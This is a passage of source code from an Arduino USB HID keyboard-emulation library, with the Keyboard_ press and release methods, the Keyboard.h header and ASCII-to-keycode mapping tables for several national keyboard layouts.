0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' (space) 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x20|ALTGR, // # 0x21|SHIFT, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x2d, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x30|SHIFT, // * 0x30, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x03, // < //KEY_NON_US_100 0x27|SHIFT, // = 0x03|SHIFT, // > //KEY_NON_US_100 + SHIFT 0x2d|SHIFT, // ? 0x1f|ALTGR, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x2f|ALTGR, // [ 0x35, // bslash 0x30|ALTGR, // ] 0x2f|SHIFT, // ^ 0x38|SHIFT, // _ 0x2f, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x34|ALTGR, // { 0x1e|ALTGR, // | 0x32|ALTGR, // } 0x21|ALTGR, // ~ 0x00, // DEL 0x00, // Ç Start extended ASCII 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // ç 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, // ñ 0x33|SHIFT, // Ñ 0x00, 0x00, 0x2e|SHIFT, // ¿ 0x00, 0x00, 0x00, 0x00, 0x2e, // ¡ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, }; // Init var bool _altGrMap[128]; bool _altFine = false; // Individually define all needed char void initAltGr() { _altFine = true; _altGrMap[126] = true; // ~ _altGrMap[123] = true; // { _altGrMap[91] = true; // [ _altGrMap[93] = true; // ] _altGrMap[125] = true; // } _altGrMap[92] = true; // bslash _altGrMap[124] = true; // | _altGrMap[64] = true; // @ _altGrMap[35] = true; // # }*/ uint8_t USBPutChar(uint8_t c); // press() adds the specified key (printing, non-printing, or modifier) // to the persistent key report and sends the report. Because of the way // USB HID works, the host acts like the key remains pressed until we // call release(), releaseAll(), or otherwise clear the report and resend. size_t Keyboard_::press(uint8_t k) { uint8_t i; if(k>=0xB0 && k<=0xDA){ //it's a non-printing key if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key) if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Screen key) } else{ k = k - 136; } } else { if(k>=0x80 && k<=0x87){ //it's a modifier _keyReport.modifiers |= (1<<(k-128)); k = 0; } else{ //it's a printable key k = pgm_read_byte(_asciimap + k); if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } if (k & 0x40) { // altgr modifier (RIGHT_ALT) _keyReport.modifiers |= 0x40; // the left shift modifier k &= 0x3F; } if (k == 0x03) { // special case 0x64 k = 0x64; } } } // Add k to the key report only if it's not already present // and if there is an empty slot. if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1; } // Joel size_t Keyboard_::rawpress(uint8_t k, uint8_t rawmodifiers) // { uint8_t i; /* if(k>=0xB0 && k<=0xDA){ //it's a non-printing key if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key) if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Screen key) } else{ k = k - 136; } } else { if(k>=0x80 && k<=0x87){ //it's a modifier _keyReport.modifiers |= (1<<(k-128)); k = 0; } else{ //it's a printable key k = pgm_read_byte(_asciimap + k); if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers |= 0x02; // the left shift modifier k &= 0x7F; } if (k & 0x40) { // altgr modifier (RIGHT_ALT) _keyReport.modifiers |= 0x40; // the left shift modifier k &= 0x3F; } if (k == 0x03) { // special case 0x64 k = 0x64; } } } */ // Add k to the key report only if it's not already present // and if there is an empty slot. _keyReport.modifiers = rawmodifiers; if (_keyReport.keys[0] != k && _keyReport.keys[1] != k && _keyReport.keys[2] != k && _keyReport.keys[3] != k && _keyReport.keys[4] != k && _keyReport.keys[5] != k) { for (i=0; i<6; i++) { if (_keyReport.keys[i] == 0x00) { _keyReport.keys[i] = k; break; } } if (i == 6) { setWriteError(); return 0; } } sendReport(&_keyReport); return 1; } // release() takes the specified key out of the persistent key report and // sends the report. This tells the OS the key is no longer pressed and that // it shouldn't be repeated any more. size_t Keyboard_::release(uint8_t k) { uint8_t i; if(k>=0xB0 && k<=0xDA){ //it's a non-printing key if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key) if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Scr key) } else{ k = k - 136; } } else { if(k>=0x80 && k<=0x87){ //it's a modifier _keyReport.modifiers &= ~(1<<(k-128)); k = 0; } else{ //it's a printable key k = pgm_read_byte(_asciimap + k); if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers &= ~(0x02); // the left shift modifier k &= 0x7F; } if (k & 0x40) { _keyReport.modifiers &= ~(0x40); // the altgr shift modifier k &= 0x3F; } if (k == 0x03) { // special case 0x64 k = 0x64; } if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } } } // Test the key report to see if k is present. Clear it if it exists. // Check all positions in case the key is present more than once (which it shouldn't be) for (i=0; i<6; i++) { if (0 != k && _keyReport.keys[i] == k) { _keyReport.keys[i] = 0x00; } } sendReport(&_keyReport); return 1; } //////Joel size_t Keyboard_::rawrelease(uint8_t k, uint8_t rawmodifiers) { uint8_t i; /* if(k>=0xB0 && k<=0xDA){ //it's a non-printing key if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key) if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Scr key) } else{ k = k - 136; } } else { if(k>=0x80 && k<=0x87){ //it's a modifier _keyReport.modifiers &= ~(1<<(k-128)); k = 0; } else{ //it's a printable key k = pgm_read_byte(_asciimap + k); if (k & 0x80) { // it's a capital letter or other character reached with shift _keyReport.modifiers &= ~(0x02); // the left shift modifier k &= 0x7F; } if (k & 0x40) { _keyReport.modifiers &= ~(0x40); // the altgr shift modifier k &= 0x3F; } if (k == 0x03) { // special case 0x64 k = 0x64; } if (k >= 136) { // it's a non-printing key (not a modifier) k = k - 136; } } } */ _keyReport.modifiers = rawmodifiers; // Test the key report to see if k is present. Clear it if it exists. // Check all positions in case the key is present more than once (which it shouldn't be) for (i=0; i<6; i++) { if (0 != k && _keyReport.keys[i] == k) { _keyReport.keys[i] = 0x00; } } sendReport(&_keyReport); return 1; } void Keyboard_::releaseAll(void) { _keyReport.keys[0] = 0; _keyReport.keys[1] = 0; _keyReport.keys[2] = 0; _keyReport.keys[3] = 0; _keyReport.keys[4] = 0; _keyReport.keys[5] = 0; _keyReport.modifiers = 0; sendReport(&_keyReport); } size_t Keyboard_::write(uint8_t c) { uint8_t p = press(c); // Keydown release(c); // Keyup return p; // just return the result of press() since release() almost always returns 1 } Keyboard_ Keyboard; #endif ================================================ FILE: libraries/Keyboard/src/Keyboard.h ================================================ /* Keyboard.h Copyright (c) 2015, Arduino LLC Original code (pre-library): Copyright (c) 2011, Peter Barrett This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef KEYBOARD_h #define KEYBOARD_h /* Keyboard layout configuration You can use: - kbd_be_be - kbd_cz_cz - kbd_da_dk - kbd_de_de - kbd_en_us - kbd_es_es - kbd_fi_fi - kbd_fr_fr - kbd_it_it - kbd_pt_pt - kbd_tr_tr Only es_es and en_us are full-tested. */ //#define kbd_en_us #include "HID.h" #if !defined(_USING_HID) #warning "Using legacy HID core (non pluggable)" #else //================================================================================ //================================================================================ // Keyboard #define KEY_LEFT_CTRL 0x80 #define KEY_LEFT_SHIFT 0x81 #define KEY_LEFT_ALT 0x82 #define KEY_LEFT_GUI 0x83 #define KEY_RIGHT_CTRL 0x84 #define KEY_RIGHT_SHIFT 0x85 #define KEY_RIGHT_ALT 0x86 #define KEY_RIGHT_GUI 0x87 #define KEY_UP_ARROW 0xDA #define KEY_DOWN_ARROW 0xD9 #define KEY_LEFT_ARROW 0xD8 #define KEY_RIGHT_ARROW 0xD7 #define KEY_MENU 0xFE #define KEY_SPACE 0x20 #define KEY_BACKSPACE 0xB2 #define KEY_TAB 0xB3 #define KEY_RETURN 0xB0 #define KEY_ESC 0xB1 #define KEY_INSERT 0xD1 #define KEY_DELETE 0xD4 #define KEY_HOME 0xD2 #define KEY_END 0xD5 #define KEY_F1 0xC2 #define KEY_F2 0xC3 #define KEY_F3 0xC4 #define KEY_F4 0xC5 #define KEY_F5 0xC6 #define KEY_F6 0xC7 #define KEY_F7 0xC8 #define KEY_F8 0xC9 #define KEY_F9 0xCA #define KEY_F10 0xCB #define KEY_F11 0xCC #define KEY_F12 0xCD #define KEY_F13 0xF0 #define KEY_F14 0xF1 #define KEY_F15 0xF2 #define KEY_F16 0xF3 #define KEY_F17 0xF4 #define KEY_F18 0xF5 #define KEY_F19 0xF6 #define KEY_F20 0xF7 #define KEY_F21 0xF8 #define KEY_F22 0xF9 #define KEY_F23 0xFA #define KEY_F24 0xFB #define KEY_PRINT_SCREEN 0xCE #define KEY_PAUSE 0xD0 // Low level key report: up to 6 keys and shift, ctrl etc at once typedef struct { uint8_t modifiers; uint8_t reserved; uint8_t keys[6]; } KeyReport; class Keyboard_ : public Print { private: KeyReport _keyReport; void sendReport(KeyReport* keys); public: Keyboard_(void); void begin(void); void end(void); size_t write(uint8_t k); size_t press(uint8_t k); size_t release(uint8_t k); size_t rawpress(uint8_t k, uint8_t rawmodifiers); size_t rawrelease(uint8_t k, uint8_t rawmodifiers); void releaseAll(void); }; extern Keyboard_ Keyboard; #endif #endif ================================================ FILE: libraries/Keyboard/src/be_be.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x25, // ! 0x20, // " 0x20, // # 0x30, // $ 0x34|SHIFT, // % 0x1e, // & 0x21, // ' 0x22, // ( 0x2d, // ) 0x30|SHIFT, // * 0x38|SHIFT, // + 0x10, // , 0x2e, // - 0x36|SHIFT, // . 0x37|SHIFT, // / 0x27|SHIFT, // 0 0x1e|SHIFT, // 1 0x1f|SHIFT, // 2 0x20|SHIFT, // 3 0x21|SHIFT, // 4 0x22|SHIFT, // 5 0x23|SHIFT, // 6 0x24|SHIFT, // 7 0x25|SHIFT, // 8 0x26|SHIFT, // 9 0x37, // : 0x36, // ; 0x64, // < 0x38, // = 0x64|SHIFT, // > 0x10|SHIFT, // ? 0x27, // @ 0x14|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x33|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x04|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1d|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1a|SHIFT, // Z 0x22, // [ 0x64, // bslash 0x30, // ] 0x22, // ^ 0x2e|SHIFT, // _ 0x24, // ` 0x14, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x33, // m 0x11, // n 0x12, // o 0x13, // p 0x04, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1d, // w 0x1b, // x 0x1c, // y 0x1a, // z 0x21, // { 0x1e, // | 0x27, // } 0x38, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/cz_cz.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x34|SHIFT, // ! 0x33|SHIFT, // " 0x1b, // # 0x33, // $ 0x2d|SHIFT, // % 0x06, // & 0x31|SHIFT, // ' 0x30|SHIFT, // ( 0x30, // ) 0x38, // * 0x1e, // + 0x36, // , 0x38, // - 0x37, // . 0x2f|SHIFT, // / 0x27|SHIFT, // 0 0x1e|SHIFT, // 1 0x1f|SHIFT, // 2 0x20|SHIFT, // 3 0x21|SHIFT, // 4 0x22|SHIFT, // 5 0x23|SHIFT, // 6 0x24|SHIFT, // 7 0x25|SHIFT, // 8 0x26|SHIFT, // 9 0x37|SHIFT, // : 0x35, // ; 0x36, // < 0x2d, // = 0x37, // > 0x36|SHIFT, // ? 0x19, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1d|SHIFT, // Y 0x1c|SHIFT, // Z 0x09, // [ 0x14, // bslash 0x0a, // ] 0x23|SHIFT, // ^ 0x38|SHIFT, // _ 0x35, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1d, // y 0x1c, // z 0x05, // { 0x1a, // | 0x11, // } 0x1e, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/da_dk.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x20|SHIFT, // # 0x21, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x31, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x31|SHIFT, // * 0x2d, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x64, // < 0x27|SHIFT, // = 0x64|SHIFT, // > 0x2d|SHIFT, // ? 0x1f, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x25, // [ 0x64, // bslash 0x26, // ] 0x30|SHIFT, // ^ 0x38|SHIFT, // _ 0x2e|SHIFT, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x24, // { 0x2e, // | 0x27, // } 0x30, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/de_de.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 10 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 20 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 30 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x31, // # 0x21|SHIFT, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x31|SHIFT, // ' 0x25|SHIFT, // ( 40 0x26|SHIFT, // ) 0x30|SHIFT, // * 0x30, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 50 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x64, // < 60 0x27|SHIFT, // = 0x64|SHIFT, // > 0x2d|SHIFT, // ? 0x14, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 70 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 80 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1d|SHIFT, // Y 0x1c|SHIFT, // Z 90 0x25, // [ 0x2d, // bslash 0x26, // ] 0x35, // ^ 0x38|SHIFT, // _ 0x2e|SHIFT, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 100 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 110 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 120 0x1d, // y 0x1c, // z 0x24, // { 0x64, // | 0x27, // } 0x30, // ~ 0 // DEL 127 }; #endif ================================================ FILE: libraries/Keyboard/src/en_us.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' 0x1e|SHIFT, // ! 0x34|SHIFT, // " 0x20|SHIFT, // # 0x21|SHIFT, // $ 0x22|SHIFT, // % 0x24|SHIFT, // & 0x34, // ' 0x26|SHIFT, // ( 0x27|SHIFT, // ) 0x25|SHIFT, // * 0x2e|SHIFT, // + 0x36, // , 0x2d, // - 0x37, // . 0x38, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x33|SHIFT, // : 0x33, // ; 0x36|SHIFT, // < 0x2e, // = 0x37|SHIFT, // > 0x38|SHIFT, // ? 0x1f|SHIFT, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x2f, // [ 0x31, // bslash 0x30, // ] 0x23|SHIFT, // ^ 0x2d|SHIFT, // _ 0x35, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x2f|SHIFT, // { 0x31|SHIFT, // | 0x30|SHIFT, // } 0x35|SHIFT, // ~ 0 // DEL }; #endif ================================================ FILE: libraries/Keyboard/src/es_es.h ================================================ #ifndef _kbd_lang #define _kbd_lang extern const uint8_t _asciimap[256] PROGMEM; #define SHIFT 0x80 #define ALTGR 0x40 const uint8_t _asciimap[256] = { 0x00, // NUL 0x00, // SOH 0x00, // STX 0x00, // ETX 0x00, // EOT 0x00, // ENQ 0x00, // ACK 0x00, // BEL 0x2a, // BS Backspace 0x2b, // TAB Tab 0x28, // LF Enter 0x00, // VT 0x00, // FF 0x00, // CR 0x00, // SO 0x00, // SI 0x00, // DEL 0x00, // DC1 0x00, // DC2 0x00, // DC3 0x00, // DC4 0x00, // NAK 0x00, // SYN 0x00, // ETB 0x00, // CAN 0x00, // EM 0x00, // SUB 0x00, // ESC 0x00, // FS 0x00, // GS 0x00, // RS 0x00, // US 0x2c, // ' ' (space) 0x1e|SHIFT, // ! 0x1f|SHIFT, // " 0x20|ALTGR, // # 0x21|SHIFT, // $ 0x22|SHIFT, // % 0x23|SHIFT, // & 0x2d, // ' 0x25|SHIFT, // ( 0x26|SHIFT, // ) 0x30|SHIFT, // * 0x30, // + 0x36, // , 0x38, // - 0x37, // . 0x24|SHIFT, // / 0x27, // 0 0x1e, // 1 0x1f, // 2 0x20, // 3 0x21, // 4 0x22, // 5 0x23, // 6 0x24, // 7 0x25, // 8 0x26, // 9 0x37|SHIFT, // : 0x36|SHIFT, // ; 0x03, // < //KEY_NON_US_100 0x27|SHIFT, // = 0x03|SHIFT, // > //KEY_NON_US_100 + SHIFT 0x2d|SHIFT, // ? 0x1f|ALTGR, // @ 0x04|SHIFT, // A 0x05|SHIFT, // B 0x06|SHIFT, // C 0x07|SHIFT, // D 0x08|SHIFT, // E 0x09|SHIFT, // F 0x0a|SHIFT, // G 0x0b|SHIFT, // H 0x0c|SHIFT, // I 0x0d|SHIFT, // J 0x0e|SHIFT, // K 0x0f|SHIFT, // L 0x10|SHIFT, // M 0x11|SHIFT, // N 0x12|SHIFT, // O 0x13|SHIFT, // P 0x14|SHIFT, // Q 0x15|SHIFT, // R 0x16|SHIFT, // S 0x17|SHIFT, // T 0x18|SHIFT, // U 0x19|SHIFT, // V 0x1a|SHIFT, // W 0x1b|SHIFT, // X 0x1c|SHIFT, // Y 0x1d|SHIFT, // Z 0x2f|ALTGR, // [ 0x35|ALTGR, // bslash 0x30|ALTGR, // ] 0x2f|SHIFT, // ^ 0x38|SHIFT, // _ 0x2f, // ` 0x04, // a 0x05, // b 0x06, // c 0x07, // d 0x08, // e 0x09, // f 0x0a, // g 0x0b, // h 0x0c, // i 0x0d, // j 0x0e, // k 0x0f, // l 0x10, // m 0x11, // n 0x12, // o 0x13, // p 0x14, // q 0x15, // r 0x16, // s 0x17, // t 0x18, // u 0x19, // v 0x1a, // w 0x1b, // x 0x1c, // y 0x1d, // z 0x34|ALTGR, // { 0x1e|ALTGR, // | 0x32|ALTGR, // } 0x21|ALTGR, // ~ 0x00, // DEL 0x00, // Ç 